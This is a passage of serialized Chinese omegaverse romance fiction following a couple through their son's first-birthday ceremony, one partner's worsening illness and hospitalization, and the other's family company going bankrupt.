要是之前,还能以身体不太好拖一拖,但现在他没什么太大的问题,连孕反都减轻到了不太会影响正常生活的程度。 但是,苏以安的户口依旧在钟家。 不是他不能,那他还不去做,就只有他不想这一个原因。 为什么? 钟家也没落,不存在任何给他遮风避雨的可能。 那苏以安到底在打算什么? 现在距离雪团的一周岁生日,只剩三天的时间了。 谢不辞专门挑了一个苏以安对他没有那么抗拒的时间点,抱着雪团敲开了对面的门。 去之前还跟雪团商量好,让雪团看见人就喊着让爸爸抱,苏以安不同意就像上次一样装哭。 为了让雪团配合他,谢不辞还专门搬出了只要雪团表演得好,他就可以获得和他爸爸一起住的特权这一点忽悠孩子。 蒋泽年后工作很忙,谢不辞打三个电话对方都不见得能接得到一个,就算接了也只是草草讲两句就以下次再说结尾。 于是谢不辞唯一的指望就只剩手里的娃了。 他其实心里也没底。 因为如果苏以安喜欢雪团,一直把雪团带在身边,他就有可能面临老婆孩子都留不住的场面。 但反过来,苏以安要是一点都不愿意看见雪团,那什么时候忽然高兴了离开了,谢不辞就不太可能找得到人了。 敲开1501的门时,苏以安面对他们两个也还是没什么表情。 但雪团特别上道,看见苏以安就立马半个身子都从谢不辞怀里探出去,肉眼可见的努力往苏以安那边凑。 “爸爸抱。” 苏以安没什么特别的反应,没有忽视孩子的需求,却也还是像不愿意和孩子接触一样:“爸爸不舒服,你就让他抱着吧。” “爸爸——” 雪团异常执着,急得要自己去找苏以安,但凡谢不辞稍微一没注意就能把孩子摔下去。 恰好这会谢不辞抱着雪团往屋内走,然后就好巧不巧的,雪团的额头磕到了金属门框上。 声音很沉闷,却让人一听就能知道磕得很重,肯定很疼。 雪团先是悄悄观察了一下苏以安有没有回头看他,在确定爸爸有注意到自己以后才开始哭。 有真的被磕到脑袋的成分在,雪团哭得特别委屈。 苏以安犹豫了一下,还是回过身去把孩子抱到自己怀里。 他先是检查了一下雪团额头上有没有明显的伤口,在见到孩子头上的红肿以后皱起眉头,朝谢不辞质问:“你怎么抱孩子的。” 因为有点心虚,谢不辞也没解释,特别有眼色的去冰箱找冰袋,然后垫好小毛巾敷到了雪团头上。 雪团在苏以安抱着坐到沙发上时就已经止住了哭声,还伸着小手搂着苏以安脖子,好像生怕一不哭了苏以安就又把他扔回谢不辞那。 额头上确实肿了好大一片。 肯定是真的疼,但不知道有没有在苏以安怀里装听话的原因,反正是没听见雪团继续哭。 孩子眼眶和鼻尖都还红红的,看起来要多可怜有多可怜。 就安安静静的趴在苏以安肩头,因为刚哭过,呼吸还不太平稳。 谢不辞立马开始对着苏以安忽悠:“你看他真的很舍不得你,你冷落了人家孩子这么多天,今天让他跟你睡怎么样?” “我明天就来接他。” “或者你有什么顾虑你也可以直接跟我讲,咱都可以商量。” “没什么顾虑。” 苏以安语气始终没什么起伏,让谢不辞揣摩不出他是什么想法。 “那你回去吧,明天早上再过来接雪团。” 逐客令下得挺突然的,让谢不辞有种想说点啥又实在词穷的无力感。 “你就……没点什么要跟我说的?” 这个话一出口谢不辞就知道八成得挨顿骂,但是他这张嘴,就硬不听脑子使唤。 脑子想整点嘱咐和关心之类的话,但一开口就变成了,你当真就一点想对我说的话都没有? “我们很熟吗。” “可是……” 答案不出所料。 谢不辞叹了口气,不想在雪团生日之前再与苏以安发生争吵,也不愿意当着孩子的面说处理他们两个人之间的关系。 可在谢不辞准备起身离开之前,却又听见了苏以安的询问:“你想听什么?” “我后面怎么打算?还是我因为什么难过?” “……都可以?” 谢不辞不是为了质问他什么,也没有很强的目的性。 不然他这种藏不住话的,肯定见面就直接开口问了。 随随便便聊两句也好,说什么都行。 谢不辞原计划着,等雪团生日过完,他就去家里公司帮帮忙,到时候把原来带着雪团那个育儿嫂再请回来。 等到那个时候,他就没什么时间再总往苏以安门口凑了。 “我这几天,把所有沈伊给开的检查都做了一遍。” “他跟我说,孩子是健康的,已经可以看见胎心胎芽了,问我具体怎么打算。” 谢不辞没有插话,就偏过头认真看向苏以安,等着他继续往下说。 “沈伊应该是不太方便直接跟我讲,但是我的身体,我自己还能不清楚吗。” “无论怎么选,能保全的都不会是我。” 从决定去检查的那一刻,苏以安就大概猜到了大概会是怎么样的一个结果。 他爸去世以后,苏以安独自一个人在社会上摸爬滚打了这么多年,学会的第一个道理就是,无论做什么,都要以自己的感受为重。 要记得什么对自己最重要。 结果出来以后,沈伊话里话外都在向他透露着,想保全的是他,不是孩子。 那一瞬间苏以安脑子里也没什么特殊的想法和感觉,甚至说话也没太经过思考。 他就坐在沈伊办公桌对面,有些呆滞的盯着手里打印出来的检查结果,平静的朝沈伊发问: 那把孩子拿掉了,我就一定可以好好活下去吗。 沈伊没说话。 他们小众重病患者就是这样的。 没有发病的时候像个正常人一样的吃饭睡觉,平淡日子过久了,甚至会以为自己得病像一场噩梦。 醒了发现根本无事发生。 然而脑袋上顶着一颗随时可能爆炸的炸弹,医生束手无策,他们本人也总活在负面情绪之中。 都是无形的。 苏以安可以安慰自己他现在好好的,一个没什么人得的病再严重能严重到哪里去。 可只要想起自己今天的药还没吃,或者过不了几个小时就要再吃下一顿药,他就焦虑得完全闭不上眼睛。 就这么坐在床头,从天黑熬到天亮。 所以他不愿意见雪团。 人都是怕死的。 对死亡的畏惧是刻在基因里的,没有为什么,也没有人可以对抗本能。 “对不起……” 谢不辞没法开口安慰他。 语言本就苍白无力。 他也想为苏以安付出或者分担些什么,可病没有生在他身上,他什么都做不了。 “你有什么可跟我道歉的。” “我又不是只有你一个alpha,就算你没给我这孩子,别人也不是没有可能玩出来。” “你少在自己脸上贴金。” 谢不辞明白,他说这些话,只是想通过贬低自己的方式让谢不辞少说对不起这样矫情又没什么作用的话。 也许他说的时候真的没觉得这有什么大不了的,偏偏就听得谢不辞心里各种不是滋味。 “再给沈伊一些时间呢?” “他是个认真又专业的好医生,他或许会找到办法。” “但愿。” 不怪苏以安不想说话。 无法排解掉的情绪像座大山一样压在身上,让痛苦没有办法被说出口,一遍又一遍的循环着自我折磨。 旁人无法感同身受。 这个话题就此揭过,随后苏以安又给谢不辞带来了新问题:“还有三天就是雪团的周岁生日了。” “你答应好我的,一定不会让人来儿子生日宴上砸场子,现在处理得怎么样了?” 凌望已经有好几条没动静也没有消息了,谢不辞打听不到什么。 这会苏以安一问他才意识到事情的严重性。 都火烧眉毛了,还不着急呢。 “那个……” 他这个开头立马就让苏以安心里有底了:“没处理,我知道了。” 第72章 第 72 章 谢不辞不知道该怎么反驳。 他不是没有时间, 也不是拿凌望没有办法,更不是那种任人宰割一点都不反抗的性格。 可他确实什么都没做。 因为不想被凌望这样的人缠上。 凌望也许没那么大本事搞垮他,也顾虑很多不至于跟他鱼死网破。 但这就属于, 癞蛤蟆趴脚面, 不咬人膈应人。 最关键的是, 谢不辞真的把凌望当苏以安的替身, 跟人家玩了好长时间。 他没有勇气让凌望跟苏以安凑在一起对峙。 “还有三天呢, 也不至于处理不完。” “你都说了孩子今天跟你睡,我可以现在就去处理。” 苏以安没什么特别的反应:“不愿意去就算了呗,也没什么大不了的。” 谢不辞实诚,听不出苏以安有没有不高兴故意阴阳怪气他。 但话都说到这份上了,家里公司闹出风波来已经够让人心力交瘁了,谢不辞自己也不希望在孩子周岁宴上这种大家都开心的喜事上再出现什么岔子。 “交给我你放心就完了,剩下的就别问了。” 这种听起来没什么实质性作用的屁话, 苏以安根本不会当回事。 尤其还是从谢不辞嘴里说出来的。 从1501离开以后,谢不辞立马找人打听了凌望的行程。 因为只有凌望某聊天软件这一个联系方式,谢不辞专门问了以前比较熟的酒吧或者会所老板有没有见过凌望。 不过也不知道是不是对方故意不想让他找, 反正谢不辞一点消息都没得到。 但光是等消息问凌望都去过哪些地方, 就用掉了好几个小时。 谢不辞还找人查了凌望他们家给他安排了什么行程, 问跟他见过面的人都与他交流了什么,包括以前凌望都跟谁玩之类的。 能想得到的方法几乎都用上了。 却只得到了些没什么实质用途的干扰项。 最后无奈,谢不辞还是点开了好兄弟季文璟的聊天框。 只不过谢不辞还没想好要怎么开口问,那唯一能联系凌望的某聊天软件,就接收到了凌望给他的回复。 还是条挑衅消息:[这就开始气急败坏啦?你这样可找不到我。] 谢不辞直接敲过去一个问号。 按谢不辞以前被苏以安这么阴阳怪气的经验来看,一般说出这种话以后用不了多久, 他就会被马上删除好友。 于是他恨不得把这辈子的手速都用在现在,朝凌望敲过去一行字:你有本事别删我, 咱俩当面对峙。 然而这句话跟凌望下一条消息几乎是同时出现在屏幕上。 对方发过来的消息是:我在你眼里就是这样的人? 谢不辞看见消息先是一愣,还没等开始回忆他觉得凌望是什么样的人,就又收到了另一条消息:[亲爱的好哥哥,人家为你守身如玉了这么长时间,你从这样的场所找我,怎么可能找得到呢。] …… 说得好像他俩能认识,谁就一定能是什么好玩意一样。 但谢不辞还是挺配合的回了一个阴阳怪气的表情包,然后打字真诚发问:[绕这么大一圈子,不是就为了跟我打个招呼吧?] [想说什么你就说呗。] 他知道凌望跟苏以安不一样,不是那种张扬又不会被驯服的性格,这么大费周章,总不可能什么都不图。 只要有需求有欲望,就不可能没有想跟谢不辞讲的。 但凌望的每一步都走在谢不辞的意料之外。 手机那头回过来的消息避重就轻:[你这么大费周章的找我,该不会就只是想给你儿子好好过个生日吧?] 这短短一句话,几乎每个字都踩在谢不辞的雷区上。 什么叫只是想给儿子好好过个生日,那不然呢? 难道还能是想吃着碗里的看着锅里的,想要老婆又放弃不了野花野草,还得连吃带拿的要对全世界宣布他要给儿子过生日了。 这不纯贱吗。 谢不辞哪怕只是脑子里忽然有那么一瞬间冒出了这种想法,他都得起来给自己两嘴巴。 谢不辞在聊天页面回复了一个省略号。 想输出的内容甚至都没打完字,凌望那边就又给他发了新消息。 [那就过呗,又不是什么大不了的事。] [等你过完,我给你送个大礼。] 谢不辞把手机扔到一边,没想再搭理他。 首先是凌望这个人没什么信用,其次是这种钓鱼手段真的挺低级的。 谢不辞第一次出来玩,还喝猫尿没见过世面的情况下,听见这种话都不见得会上钩。 拿这一套对现在久经沙场的他说,没意思。 还显得很神经病。 现在离孩子生日已经没剩下两天了,谢不辞还专门找管家确认了一遍流程。 最开始定的就是只请一些比较亲近的亲戚朋友,宾客倒是没多少,不过现在再看,还是会觉得人多眼杂的。 苏以安那边人很少,以至于谢不辞开始萌生一种,也不是一定要去他们家别墅给孩子过生日才叫隆重的想法。 在他们小区这里,其实也行……? 谢不辞先打电话跟谢夫人商量,然后隔着屏幕征求了一下苏以安的意见。 不出所料的得到了一句毫不客气的文字回复:[你就是这么解决问题的?] 这内容,没有语气也能看得出来是对他处理的方式不满意。 可谢不辞理解不了苏以安想要什么样的解决方式。 要人少,要热闹,要大阵仗,却又不想杂七杂八的人靠近他家孩子。 而且在苏以安的观念里,跟他鬼混在一起的,几乎不可能存在好玩意。 谢不辞先给雪团定了蛋糕,挑了不少好看的款式,还先发给了他妈把关,然后才到思考怎么哄老婆的步骤。 但就在谢不辞纠结着要怎么小心翼翼的开口才能避免苏以安把他拉黑这种场面的时候,那头率先给他发来了消息:[在这也行,你们来对门。] 怕谢不辞又会错意,苏以安还又专门发消息过来:[孩子爷爷奶奶和你,再想加别人你最好掂量掂量。] 好的,朋友别来的意思。 再之后两天,都过得相安无事的,苏以安也没把雪团再给谢不辞带。 不清楚是不是蒋泽自己得到了什么消息,反正在雪团生日前一天,特别懂事的自己上门把准备好的礼物送到了谢不辞手上。 然后告诉谢不辞,明天有事,孩子生日来不了,等忙完单独带谢不辞跟雪团吃饭,他请客。 礼物也是特别实诚。 那大金链子,谢不辞拎一下子立马就能感受到特别有分量。 其实按他们的关系,蒋泽打个电话就可以了,真不来也没什么的,但这样的处事方法确实会让人觉得蒋泽很用心。 起码很重视这件事情。 于是就衬得谢不辞当天晚上再给蒋泽发消息特别没有眼色。 谢不辞:[军师你忙的话你能给我远程指挥一下吗。] 蒋泽:[?] …… 没拒绝,就是默认同意。 反正按他们从小一起长大的关系,也没什么必要做表面上的客套。 提前了许久就开始准备生日宴,但真烦这一天,其实没什么特别的流程。 而且可能公司是真的忙。 谢不辞他爸是在谢不辞起大早把自己收拾好了要去对门的时候,才给他发的消息。 说很忙,说回不去。 谢不辞有专门打电话过去问,他爸只跟他匆匆嘱咐了两句就挂掉了电话。 谢夫人也是起了个大早过来,带着提前给雪团准备的平安锁和蛋糕,跟着谢不辞一起,去敲1501的门。 “一会进去了有点眼色,少说话,别搞得都不开心。” 谢不辞敷衍的随口应了两声。 没等谢夫人再多说什么,门就被一个穿着休闲西装的中年男人打开。 男人怀里抱着雪团。 有几天没见,雪团对谢不辞还挺热情的,刚看见他就吵他伸手热情得喊他爸爸。 觉得人家没有要把雪团给他抱的意思,谢不辞也就没自讨没趣的伸手。 男人意味深长的上下打量了谢不辞两圈,还皱了皱眉头。 这一套流程下来,让谢不辞没由来的觉得不舒服,有种一点也没被尊重的既视感。 “你就孩子另一个爹啊?” 对方这么一句话直接掐灭了谢不辞刚升起的那点不痛快。 因为,是家长。 谢不辞知道苏以安在有个特别敬重的老师。 那老师是苏以安他爸爸以前玩的很好的朋友,他爸生病那会,老师也没少出钱没少帮忙。 这个身份立场……骂他一下也是应该的。 只是开口就语气不善,让谢不辞站在门前,接不上话也不知道该不该进,多少有点尴尬。 不过好在小区里的房,空间都不太大,走两步就能路过门口。 感觉到苏以安在身后停住,可能是顾念着今天是雪团生日,男人没再过多为难谢不辞。 进门以后谢夫人和老师聊,雪团被两个爸爸带着进了卧室。 现在这个时间,看起来苏以安也刚起床没多久,雪团的衣服都还没来得及给换。 就在谢不辞马上就要以,你吃早饭了没有为话题开始尬聊的时候,门外就又好巧不巧的响起敲门声。 这次是谢不辞抱着孩子去开的门。 门外站着个看起来就穿得很扎眼的alpha,要不是对方先开口,谢不辞都没认出来这人是谁。 “雪团是我的孩子,给我。” “你出去。” 那语气,除了头牌哥跑不了别人。 谢不辞重复了一遍刚才苏以安老师的那一套动作,皱着眉同样意味深长的从上到下打量头牌哥。 然后在对方组织语言的时候,眼疾手快的关上门。 伤害性侮辱性都直接拉满。 注意到谢不辞站在门口半天,还没有人进来,苏以安还专门凑上前去问:“谁来?你怎么不让人家进?” 不知道是心虚还是怎么样,谢不辞张嘴就是一句没有脑子的:“送外卖的。” 苏以安也配合,双手抱胸靠在墙边:“外卖呢?” “……可能还没点吧。” 这会被关在外面的头牌哥也像忽然反应过来什么了一样,开始当着苏以安的面拍门。 觉得苏以安想再开门看看,谢不辞立马侧身挡在门前:“儿子生日,你不会想让他进来的。” “而且是你说的不要请外人。” 在两边家长都到场了的情况下,不管哪边小情人找过来,都挺下不来台的。 “那你挡在这有什么用啊,你非得等着都围过来看你把谁关外边了?” “这很光彩吗?” …… 谢不辞一回头,对上了他妈朝这边投来的,带着探究的眼神。 他悄悄看了一眼苏以安,然后让出了门口的位置。 第73章 第 73 章 礼仪上讲究来者都是客。 但按理论讲, 谢不辞觉得,要是头牌哥这种看起来就玩得很合拍的都上不了桌,那他也够点呛。 毕竟苏以安是从最开始的喜欢他变成了讨厌他。 开了门, 苏以安没出去, 跟之前站在门前不让谢不辞进的时候一个姿势, 倚着门框, 没什么情绪的看向对方。 “孩子过生日你怎么不请我?” 头牌哥的中文不太标准, 谢不辞也就是没当面跟他吵过架,不然都得怀疑会不会吵着吵着直接笑场。 因为众所周知,面对暧昧对象的时候总会下意识扭捏造作。 于是头牌哥用蹩脚的普通话一点都不严厉的质问苏以安的时候,在谢不辞听来就是一字一个波浪号。 “我没有给孩子准备礼物……” “那你空手也好意思来啊?” 老外不懂他们这边的人情世故,但本来就不太欢迎对方,苏以安不说话谢不辞自然不会客气。 他还想再拿头牌哥没有诚意多说两句,刚要凑到苏以安身边, 就被雪团肉乎乎的小手拍在了脸上:“爸爸!” “吃早饭。” “……” 谢不辞正犹豫着让孩子这种情况等一下合不合适,苏以安立马就朝着他接话:“你聋啊?” “孩子说要吃饭你听不见?” 这会雪团也很给面子,从谢不辞怀里探出身子去喊苏以安。 谢不辞知道头牌哥是个死心眼的, 不帮忙转过弯来, 能执着的在苏以安家门口坐一整天。 这会屋内谢夫人和老师也朝着这边过来, 谢夫人特别善解人意的把雪团从谢不辞手里抱走,然后去给孩子冲奶粉。 苏以安深吸一口气,望向头牌哥:“不请自来就没意思了宝宝,咱当初怎么说好的我觉得你应该没忘。” “可是……” 这一来一回,让谢不辞重点都不知道应该往哪抓。 苏以安管头牌哥喊宝宝。 他的老婆,冲别人就是, 我们当初说好了宝宝。 冲他张嘴就是,有病就他妈躲我远点, 我怕得狂犬病。 到这开始钻牛角尖以后,谢不辞都没心思注意后面苏以安又和头牌哥说了什么。 总之没几句话,头牌哥就被打发走了。 可能是从良的时间不短了,谢不辞还有点看不惯他们以前这么乱玩乱搞的做派。 后面等方明之到场,就到了谢夫人给布置给组织的周岁礼。 流程挺齐全的,主要是谢夫人之前做功课筛出来的一些各地小孩周岁生日拍下来的视频里总结出来的。 先是拿鸡蛋在雪团背上滚一滚,说是滚灾。 雪团很配合,不怕生,也怎么摆弄都不生气。 后面苏以安还专门给雪团换上了喜庆的新衣服,带上了谢夫人准备的金锁,老师送的金银镯。 然后在洗手水里放上大葱,苹果,和大米。 洗了三遍手,寓意孩子聪明,平安,衣食无忧。 为了让苏以安有点参与感,抓周之前给孩子梳头的工作还专门留给了苏以安。 抓周的准备工作也很到位,谢夫人主持,就算没有很多人,也一点都看不出来敷衍。 抓周的物品准备得满满当当,客厅的茶几都快摆不下了。 官印,毛笔,元宝,现金,书本,福袋,还有雪团之前最喜欢的那把小水枪。 准备的都是能说出好寓意的东西。 而且雪团是聪明小孩,很懂得尊重别人的劳动成果,每个项目都很配合,包括最后食福环节。 本来是特别挑食的小孩,今天就很给面子的喂什么吃什么。 寿面,苹果,蛋糕。 不是苏以安喂也依旧很配合。 最后就是封酒。 一瓶状元酒一瓶合衾酒。 这是谢不辞送的,孩子生日之前专门请了不少人帮忙挑,还亲自去国外酒庄视察过。 印足贴封条以后,周岁宴就算结束。 后面就是一块吃饭,三三两两的凑在一起聊两句什么的。 因为人少,大家各聊各的也不会冷场不会尴尬。 但是谢不辞没想到,他妈跟老师聊得很好,苏以安跟方明之扎在卧室不愿意出来,就只给他留了个沙发的角落让他哄孩子。 可能因为一群大人围着的时候情绪价值已经给到位了,这会雪团已经不想营业了,手里攥着小玩具,谢不辞跟他说话他也不爱理。 就自己玩自己的。 让谢不辞无端生出一种自己好像被世界抛弃了的感觉。 娘不疼老婆不爱的,还连孩子也嫌他。 不过好在这种场面也没持续多久,吃过午饭,谢夫人和方明之就都以有事为借口先行离开了。 谢不辞觉得可能需要给苏以安和老师单独留点相处时间,便也没在对门多留。 雪团生日这一整天都是相安无事的,谢不辞也确实没收到凌望发来的任何消息。 就导致最后谢不辞也没什么防备心,当天晚上睡得都很早。 第二天早上也是不出所料看见了锁屏上来自凌望消息的弹窗。 只有一条链接,没配任何文字。 链接标题也很有无良公众号那个劲,开头就是震惊这两个加大加粗的字,为了增强语气甚至还用了三个感叹号。 谢不辞本来没想看,觉得孩子生日过完了也不用再搭理凌望了,直接就退掉了聊天窗口。 起床洗漱以后估摸着时间还早,他就下楼先买了早饭,准备去苏以安面前刷一波存在感。 等转悠一大圈回来,谢不辞做了半天的心理准备,才去敲他家对面的那扇门。 因为苏以安之前给他好脸色,绝对是看在马上就到儿子生日了的面子上。 现在孩子生日过完了,就不一定对他是什么态度了。 但是之前苏以安也讲过,孩子过完生日就走。 昨天晚上苏以安没有把雪团送回去谢不辞家,那谢不辞再不殷勤一点,没准一个没注意对门就空了。 还能解锁老婆孩子都没留住的成就。 本来就有这样的担忧,还怕什么来什么。 1501的门谢不辞敲了三遍,里面都没有一点动静传出来。 他暗暗觉得有些不太对劲,随后没有一点犹豫,输密码打开门走了进去。 屋内安安静静的,生活痕迹没有被抹去,昨天谢不辞抱着雪团在沙发上玩那会裹着的小毯子依旧留在原位。 往厨房看一眼,也还能看见雪团的奶瓶和之前做辅食经常用的小碗。 那大清早的,人能去哪? 谢不辞有种不好的预感,随后他掏出手机,给沈伊拨了个电话过去。 电话接得很快,但沈伊似乎有些诧异谢不辞会这个时间打电话过来:“你给我打电话干什么?” “苏以安在你那吗?” “在啊,昨天晚上十一点病情恶化被救护车接过来的。” 谢不辞脑子空白了一瞬。 十一点多,他应该还没睡着,但好像没听见一点动静? “那他现在怎么样了?哪个病房,我过去看看他。” 记挂着之前沈伊讲过的,这种病一旦开始恶化就很难控制,谢不辞没有多停留,快步走出房门,按了楼道里的电梯。 “啊?” “你还有空来医院?你确定吗?” 沈伊从刚开始接电话态度就奇奇怪怪的,这会谢不辞也终于听出他话里有话了,反问道:“什么意思?” 谢不辞在所有人眼里都挂着游手好闲不务正业这样的标签,这么多年过去甚至都混成了刻板印象。 他能有什么特别重要的正事? 还是从沈伊嘴里说出来的大事? “你……你别告诉我你一点都不关心家里。” “公众号上乱写得铺天盖地的,稍微搜一搜也能看得见啊,你要敢讲你还不知道,我都想大嘴巴扇你。” 公众号。 谢不辞猛然想起凌望发给他的那看起来就很神经病的,以震惊两个字开头的链接。 他皱着眉重新点开聊天窗口,完整的看了一眼标题。 消息是今天凌晨一点二十几分发来的,这篇报道的发布时间和凌望给他转发的时间前前后后不超过两分钟。 谢不辞仔细看了看。 这篇倒是很客观的在陈述事实。 说他们家的公司破产,前前后后欠了不少钱,在圈子里也渐渐没了信用和威慑度,还有他爸前几天出席什么活动被拍下来的照片。 几天没见,谢不辞立马就注意到他们家小老头肉眼可见的憔悴了不少。 甚至长出了明显的白头发。 谢不辞麻木的站在电梯前。 电梯门已经开过了,现在又因为没有人进出,停在15楼,当着谢不辞的面缓缓合上了门。 走廊里挺安静的。 没了电梯的照明,封闭的空间甚至透不进来光亮。 变故发生得有些突然,谢不辞不知道该作何反应。 现在复盘一下,也许算不得突然,是他自己不闻不问,是他主动放弃了能给他爸带来帮助的那几天的时间。 谢不辞对着已经黑屏的手机沉默良久。 想打电话质问一下凌望为什么要害他,为什么要害他家,但似乎已经发生的事情,讨要事发原因没有任何作用。 他还想给他爸打个电话,问问人现在在哪,怎么样了。 想听听他妈回家了以后都做了些什么,是不是网上铺天盖地的消息传出来时她也还没睡,以至于到现在也没合上眼。 谢不辞能感觉到他现在攥着手机的手指尖冰凉,凉得有些发痛。 他迟迟不敢点进通讯录。 明明想知道的东西有很多很多,却一个也不敢问出口,不敢真的从家人口中听到这些已经成了定局的结果。 他有些茫然的在手机里乱点,好像只要显得很忙就能减轻心里的不安感。 他点进短信页面,脑袋空空的机械式的把垃圾短信的红色序号都点掉。 可偏偏,他越难以接受,就越容易误打误撞的发现新消息。 那些垃圾短信里,藏着他爸给他发过来的消息。 他爸了解他,知道他几乎不会去看短信,才以这样的方式跟他说一些平常不会讲的话。 短信不止一条。 谢不辞知道,他爸早年间事业挺顺的,就导致心气很高。 该摔跟头的年纪因为能力出众,没吃过什么苦,做什么都有家里兜底,加上人品不错,社交能力也强,后面遇上挫折也都可以游刃有余。 还能保证谢不辞的生活质量不受任何影响。 所以这次,谢不辞也只当是小打小闹。 短信的第一条是三天前。 这三天的时间里,依着他爸沉默寡言的性格,已经算断断续续的跟他说了很多心里话了。 [头一次跟你借钱,吓坏了吧,没关系,等解决完,爸三倍还给你。] [是有点难解决,以前没想戒你花钱大手大脚的毛病,这次倒是被动了。] [应该不至于解决不了。] [这笔钱爸可能还不上你的了,爸知道,这也是你手里几乎全部的钱。] [爸对不起你。] …… 谢不辞很难形容看见这些话是什么心情。 他跟他爸甚少交流,简单的发消息也出了转账就是问候与嘱咐。 不是他爸不想把公司交给他让他进自己家里的产业,是不愿意为难他。 因为他爸跟他讲过,人生是旷野,没必要把他也捆绑在自己家这枯燥烦闷的公司里。 有种酸酸涩涩的感觉在胸腔里蔓延,谢不辞没注意到眼泪是什么时候落下来的。 他其实也不在乎家里有没有钱,他可以去工作,可以自己养活自己养活家里。 这没什么好破防的,世界上那么多的普通人,都在庸庸碌碌的活着。 究其根本,他们也一样。 烦恼无处不在,没钱的时候只痛苦于没钱,有钱了,就不一定了。 他是因为他爸这些话难过。 一辈子挺直脊梁的父亲,来因为做生意亏空了家底,还不上儿子的钱来道歉。 谢不辞从来没觉得自己可以这么不是东西过。 第74章 第 74 章 他胡乱抹掉眼泪, 在电视旁靠着墙壁瘫坐在地上,深吸好几口气平复心情,才尽量保持声线平稳的给谢夫人打了个电话。 电话真的接通, 听见那一声带着些许疲惫的喂时, 谢不辞也还是有些说不出话。 “我跟你爸回老家看了一眼, 这不是过年也没抽出时间去看望你爷爷吗, 给家里老头子上点香。” 他妈在跟他解释。 从并不算安静的背景声音里, 谢不辞还听见了他爸嘟囔的一句:“这下不用怕没时间来看望家里老人了。” 他爸公司挺忙的,过年都是应酬。 上层社会,一年到头也没多少时间是属于自己的。 听着就很心酸。 “那……” 谢不辞本来想问那给爷爷上过香还回来吗,但话到了嘴边,却怎么也说不出口。 公司破产,欠下了债务,他家常住的那个别墅估计已经被送去法拍了。 回来, 也没了容身之地。 挺残忍的,没准谢不辞自己现在住的这个也得卖掉。 他之前的所有担忧都没有错。 如果是蓄意报复,为了让他家破产没落的话, 那对方无论如何都不会适可而止, 也不会给他家任何一个人留下活路。 离开可能没什么太大的作用, 但暂时远离是非确实是保命的好办法。 “你要是想再留那边几天也没事,爸妈这边挺好的。” “就是你要和人家小苏好好商量啊,问问人家愿不愿意带走雪团,雪团挺好的一个小孩,咱家都这样了,也没有硬要求他们跟着咱吃苦的道理。” 谢夫人越平静, 谢不辞心里越觉得不是滋味。 事情的走向挺魔幻的。 他家破产,和苏以安控制得那么好的病突然之间恶化撞在一起。 不像巧合。 可谢不辞却到了现在依旧手足无措, 好像只能很窝囊的任人宰割一样。 见他不接话,谢夫人还难得安慰他两句:“行了,你别钻牛角尖,你爸没事的,都一把年纪了,你还怕我们一高兴就抹脖?” “你先处理好你自己那边的事情,雪团好歹是咱老谢家的孩子,你不能亏待了他。” “都当上爹了,怎么还这么担不住事。” 后面谢夫人见他不搭话,也就没心思再唠叨他了,匆匆交代了几句就挂断电话。 独生子,本身就是家里出现大困难时要能把家扛起来的存在。 谢不辞沉默着找沈伊要来了苏以安的病房号,然后独自开车前往医院。 一晚上的时间过去,该做的检查与治疗都进行得差不多了,等谢不辞到的时候,沈伊带他在病房外透过玻璃看了一眼,苏以安正抱着雪团在病房看电视。 因为病情恶化,不能让苏以安接触杂七杂八的信息素,所以沈伊专门把谢不辞带到了医生办公室,抑制贴抑制剂之类的东西给用了不少。 还一边上手一边交代:“他现在应该避免接触信息素的,你没看连我都没去他面前晃悠吗。” “但是你来都来了。” 交流就只截止到来都来了。 谢不辞知道沈伊想表达什么。 他不想被可怜,但转念又觉得,如果苏以安能因为觉得他可怜就对他态度好一些,那装一下也没什么关系。 “进去别乱说话,至少别在病房打起来,要不然你还不如不来。” 沈伊替谢不辞扣好衬衫上方最后一颗扣子,带着他穿过走廊,到了苏以安病房门前。 没敲门,直接进的。 苏以安也没对谢不辞的到来做出什么反应。 没招待他,只一如既往的把雪团扔给他抱。 谢不辞拉开椅子在病床边坐下。 孩子不管跟着谁都很安静。 觉得气氛有些压抑,只有电视上综艺里偶尔传来的交谈声和笑声。 是个喜剧综艺。 观众的笑声在安静的病房里显得异常突兀。 谢不辞纠结了半天都没想好要说点什么才能打破僵局,但苏以安没留给他说话的机会:“坐够了就走,带着孩子一块。” “……” “我带孩子走了那你呢?” 这问题挺没有脑子的。 不过谢不辞没来得及跟沈伊了解病情,也不知道他睡着的这个晚上具体都发生了什么。 “我不用你管。” 听起来,像是要把孩子扔给他管的。 其实按照他们两个的关系,苏以安在这个时候落井下石也再正常不过。 本来就自顾不暇,家里欠债,父母回了老家,要各种防备仇家的暗算,还得想办法解决掉他爸没有处理掉的烂摊子。 再加上要带孩子。 三头六臂也忙不过来。 最主要的是,雪团挑食,苏以安很早之前就跟他讲过,孩子低于五千块钱的奶粉都不喝。 这样一看,财务方面,也挺磨人心态的。 “好的。” 苏以安看谢不辞这幅样子,就知道他绝对是没明白他想表达的是什么意思,于是就又补充了一句:“你不可以降低我儿子的生活质量。” “我尽量。” …… 没给保证,就说明理解得还是没到点上。 没关系,真走投无路了总会有谢不辞寻思歪门邪道的时候,现在不用跟他多讲。 又陷入沉默。 苏以安不想多说,谢不辞也不明白他为什么一定要来这一趟。 但好在,哪怕什么都不说,只要他们两个待在一起,就意外有能让谢不辞平静下来的效果。 后面谢不辞没再多问。 因为私心里,不想听见苏以安亲口说出要离开他,离开这个地方之类的话。 临近天黑,实在没什么好讲的的,谢不辞就没想再留。 走之前原想着给苏以安带个饭,但因为对信息素功能障碍这种病没什么了解,也没意识到,离开了病房他就不能再进来了。 这就好像,人只有在无菌室才能活着,外面什么东西都没法往里带。 里面的出不去,外面的想进来又诸多限制。 换句话讲,就是另一种形式的ICU。 当病情真的到了某一个阶段,看起来像是生命已经进入倒计时了的时候,站在亲属角度,又是另一种心境。 谢不辞离开的时候,把雪团也带出了病房。 还跟沈伊询问了许久苏以安还有没有的治。 沈伊给他的回答是:“我是医生,我会尽我所能,但我没法给你任何承诺。” “我不会看着他去死,却也最多只能讲出一句,我学艺不精,技术有限。” 病程……没有回退的。 这一点连谢不辞这种门外汉都清楚。 他还打算再问沈伊点什么来着,可转念一想,他做不了什么。 没钱,也没有面子去找人帮忙。 能说出口的,好像也就只剩下了:“那麻烦你好好照顾他。” 从医院开车离开,谢不辞先是开车带着雪团去自己家别墅门口转了一圈。 但是因为欠了债,房子已经被贴上了封条,现在从外面看,已经看不见灯光了。 谢夫人以前精心侍弄的花草也成片枯萎。 谢不辞没法把车开的太近。 尤其是,想起这车是他以前专门挑的性能高油耗大的款式,每多走一步,都是对他钱的一种大损耗。 有这钱还不如给儿子买奶粉。 